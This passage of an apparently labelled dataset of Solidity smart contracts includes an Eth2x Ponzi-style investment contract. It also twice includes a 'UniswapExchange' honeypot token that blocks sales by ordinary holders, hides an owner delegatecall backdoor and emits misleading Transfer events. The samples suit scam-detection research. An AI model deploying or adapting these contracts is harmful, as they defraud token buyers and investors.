if (holderAccounts[_addr].alloced) {
uint _currentPoints = holderAccounts[_addr].currentPoints +
((TotalFeesReceived - holderAccounts[_addr].lastSnapshot) * holderAccounts[_addr].tokens);
_amount = _currentPoints / NewTokenSupply;
}
}
function changeOwner(address _addr)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
owner = _addr;
}
function setDeveloper(address _addr)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
developers = _addr;
}
function setOldE4(address _oldE4, address _oldE4Recyle)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
oldE4 = _oldE4;
oldE4RecycleBin = _oldE4Recyle;
}
function getAccountInfo(address _addr) constant returns(uint _tokens, uint _snapshot, uint _points)
{
_tokens = holderAccounts[_addr].tokens;
_snapshot = holderAccounts[_addr].lastSnapshot;
_points = holderAccounts[_addr].currentPoints;
}
function haraKiri()
{
if (settingsState != SettingStateValue.debug)
throw;
if (msg.sender != owner)
throw;
suicide(developers);
}
function optInFromClassic() public
{
if (oldE4 == address(0)) {
StatEvent("config err");
return;
}
address nrequester = msg.sender;
if (holderAccounts[nrequester].tokens != 0) {
StatEvent("Account has already has tokens!");
return;
}
Token iclassic = Token(oldE4);
uint _toks = iclassic.balanceOf(nrequester);
if (_toks == 0) {
StatEvent("Nothing to do");
return;
}
if (iclassic.allowance(nrequester, address(this)) < _toks) {
StatEvent("Please approve this contract to transfer");
return;
}
if (msg.gas < optInXferGas + optInFcnMinGas)
throw;
iclassic.transferFrom.gas(optInXferGas)(nrequester, oldE4RecycleBin, _toks);
if (iclassic.balanceOf(nrequester) == 0) {
if (!holderAccounts[nrequester].alloced)
addAccount(nrequester);
holderAccounts[nrequester].tokens = _toks * NewTokensPerOrigToken;
holderAccounts[nrequester].lastSnapshot = 0;
calcCurPointsForAcct(nrequester);
numToksSwitchedOver += _toks;
StatEvent("Success Switched Over");
} else
StatEvent("Transfer Error! please contact Dev team!");
}
} | 1 | 5,546 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
require(b != 0);
return a % b;
}
}
contract Eth2x {
using SafeMath for uint;
struct Investor {
uint invested;
uint payouts;
uint first_invest;
uint last_payout;
address referrer;
}
uint constant public COMMISSION = 10;
uint constant public WITHDRAW = 50;
uint constant public REFBONUS = 2;
uint constant public CASHBACK = 3;
uint constant public MULTIPLICATION = 2;
address public beneficiary = 0x3368e0A06D0Ae1b826B5171Ced8C7c94D785f9E5;
mapping(address => Investor) public investors;
event AddInvestor(address indexed holder);
event Payout(address indexed holder, uint amount);
event Deposit(address indexed holder, uint amount, address referrer);
event RefBonus(address indexed from, address indexed to, uint amount);
event CashBack(address indexed holder, uint amount);
event Withdraw(address indexed holder, uint amount);
function bonusSize() view public returns(uint) {
uint b = address(this).balance;
if(b >= 500 ether) return 5;
if(b >= 400 ether) return 4;
if(b >= 300 ether) return 3;
if(b >= 200 ether) return 2;
return 1;
}
function payoutSize(address _to) view public returns(uint) {
uint max = investors[_to].invested.mul(MULTIPLICATION);
if(investors[_to].invested == 0 || investors[_to].payouts >= max) return 0;
uint payout = investors[_to].invested.mul(bonusSize()).div(100).mul(block.timestamp.sub(investors[_to].last_payout)).div(1 days);
return investors[_to].payouts.add(payout) > max ? max.sub(investors[_to].payouts) : payout;
}
function withdrawSize(address _to) view public returns(uint) {
uint max = investors[_to].invested.div(100).mul(WITHDRAW);
if(investors[_to].invested == 0 || investors[_to].payouts >= max) return 0;
return max.sub(investors[_to].payouts);
}
function bytesToAddress(bytes bys) pure private returns(address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function() payable external {
if(investors[msg.sender].invested > 0) {
uint payout = payoutSize(msg.sender);
require(msg.value > 0 || payout > 0, "No payouts");
if(payout > 0) {
investors[msg.sender].last_payout = block.timestamp;
investors[msg.sender].payouts = investors[msg.sender].payouts.add(payout);
msg.sender.transfer(payout);
emit Payout(msg.sender, payout);
}
if(investors[msg.sender].payouts >= investors[msg.sender].invested.mul(MULTIPLICATION)) {
delete investors[msg.sender];
emit Withdraw(msg.sender, 0);
}
}
if(msg.value == 0.00000007 ether) {
require(investors[msg.sender].invested > 0, "You have not invested anything yet");
uint amount = withdrawSize(msg.sender);
require(amount > 0, "You have nothing to withdraw");
msg.sender.transfer(amount);
delete investors[msg.sender];
emit Withdraw(msg.sender, amount);
}
else if(msg.value > 0) {
require(msg.value >= 0.01 ether, "Minimum investment amount 0.01 ether");
investors[msg.sender].last_payout = block.timestamp;
investors[msg.sender].invested = investors[msg.sender].invested.add(msg.value);
beneficiary.transfer(msg.value.mul(COMMISSION).div(100));
if(investors[msg.sender].first_invest == 0) {
investors[msg.sender].first_invest = block.timestamp;
if(msg.data.length > 0) {
address ref = bytesToAddress(msg.data);
if(ref != msg.sender && investors[ref].invested > 0 && msg.value >= 1 ether) {
investors[msg.sender].referrer = ref;
uint ref_bonus = msg.value.mul(REFBONUS).div(100);
ref.transfer(ref_bonus);
emit RefBonus(msg.sender, ref, ref_bonus);
uint cashback_bonus = msg.value.mul(CASHBACK).div(100);
msg.sender.transfer(cashback_bonus);
emit CashBack(msg.sender, cashback_bonus);
}
}
emit AddInvestor(msg.sender);
}
emit Deposit(msg.sender, msg.value, investors[msg.sender].referrer);
}
}
} | 1 | 2,770 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 247 |
pragma solidity ^0.4.15;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is ERC20, SafeMath {
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4) ;
_;
}
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success){
balances[msg.sender] = safeSubtract(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSubtract(balances[_from], _value);
allowed[_from][msg.sender] = safeSubtract(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require (!paused);
_;
}
modifier whenPaused {
require (paused) ;
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract IcoToken is SafeMath, StandardToken, Pausable {
string public name;
string public symbol;
uint256 public decimals;
string public version;
address public icoContract;
function IcoToken(
string _name,
string _symbol,
uint256 _decimals,
string _version
)
{
name = _name;
symbol = _symbol;
decimals = _decimals;
version = _version;
}
function transfer(address _to, uint _value) whenNotPaused returns (bool success) {
return super.transfer(_to,_value);
}
function approve(address _spender, uint _value) whenNotPaused returns (bool success) {
return super.approve(_spender,_value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return super.balanceOf(_owner);
}
function setIcoContract(address _icoContract) onlyOwner {
if (_icoContract != address(0)) {
icoContract = _icoContract;
}
}
function sell(address _recipient, uint256 _value) whenNotPaused returns (bool success) {
assert(_value > 0);
require(msg.sender == icoContract);
balances[_recipient] += _value;
totalSupply += _value;
Transfer(0x0, owner, _value);
Transfer(owner, _recipient, _value);
return true;
}
}
contract IcoContract is SafeMath, Pausable {
IcoToken public ico;
uint256 public tokenCreationCap;
uint256 public totalSupply;
address public ethFundDeposit;
address public icoAddress;
uint256 public fundingStartTime;
uint256 public fundingEndTime;
uint256 public minContribution;
bool public isFinalized;
uint256 public tokenExchangeRate;
event LogCreateICO(address from, address to, uint256 val);
function CreateICO(address to, uint256 val) internal returns (bool success) {
LogCreateICO(0x0, to, val);
return ico.sell(to, val);
}
function IcoContract(
address _ethFundDeposit,
address _icoAddress,
uint256 _tokenCreationCap,
uint256 _tokenExchangeRate,
uint256 _fundingStartTime,
uint256 _fundingEndTime,
uint256 _minContribution
)
{
ethFundDeposit = _ethFundDeposit;
icoAddress = _icoAddress;
tokenCreationCap = _tokenCreationCap;
tokenExchangeRate = _tokenExchangeRate;
fundingStartTime = _fundingStartTime;
minContribution = _minContribution;
fundingEndTime = _fundingEndTime;
ico = IcoToken(icoAddress);
isFinalized = false;
}
function () payable {
createTokens(msg.sender, msg.value);
}
function createTokens(address _beneficiary, uint256 _value) internal whenNotPaused {
require (tokenCreationCap > totalSupply);
require (now >= fundingStartTime);
require (now <= fundingEndTime);
require (_value >= minContribution);
require (!isFinalized);
uint256 tokens = safeMult(_value, tokenExchangeRate);
uint256 checkedSupply = safeAdd(totalSupply, tokens);
if (tokenCreationCap < checkedSupply) {
uint256 tokensToAllocate = safeSubtract(tokenCreationCap, totalSupply);
uint256 tokensToRefund = safeSubtract(tokens, tokensToAllocate);
totalSupply = tokenCreationCap;
uint256 etherToRefund = tokensToRefund / tokenExchangeRate;
require(CreateICO(_beneficiary, tokensToAllocate));
msg.sender.transfer(etherToRefund);
ethFundDeposit.transfer(this.balance);
return;
}
totalSupply = checkedSupply;
require(CreateICO(_beneficiary, tokens));
ethFundDeposit.transfer(this.balance);
}
function sTks(address _beneficiary, uint256 _value) external onlyOwner {
require (!isFinalized);
require(CreateICO(_beneficiary, _value));
totalSupply += _value;
return;
}
function finalize() external onlyOwner {
require (!isFinalized);
isFinalized = true;
ethFundDeposit.transfer(this.balance);
}
} | 1 | 3,975 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 360 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Token{
function transferFrom(address from, address to, uint tokens) public returns (bool success);
function balanceOf(address tokenOwner) public view returns (uint balance);
}
contract Airdrop is Owned {
using SafeMath for uint256;
Token public token;
uint256 private constant decimalFactor = 10**uint256(18);
mapping (address => bool) public airdrops;
constructor(address _tokenContractAdd, address _owner) public {
token = Token(_tokenContractAdd);
owner = _owner;
}
function airdropTokens(address[] _recipient, uint256[] _tokens) external onlyOwner{
for(uint256 i = 0; i< _recipient.length; i++)
{
uint256 tokens = token.balanceOf(_recipient[i]);
if ((!airdrops[_recipient[i]]) && ( tokens == 0)) {
airdrops[_recipient[i]] = true;
require(token.transferFrom(msg.sender, _recipient[i], _tokens[i] * decimalFactor));
}
}
}
} | 1 | 4,483 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function() external payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
emit Withdrawal(msg.sender, wad);
}
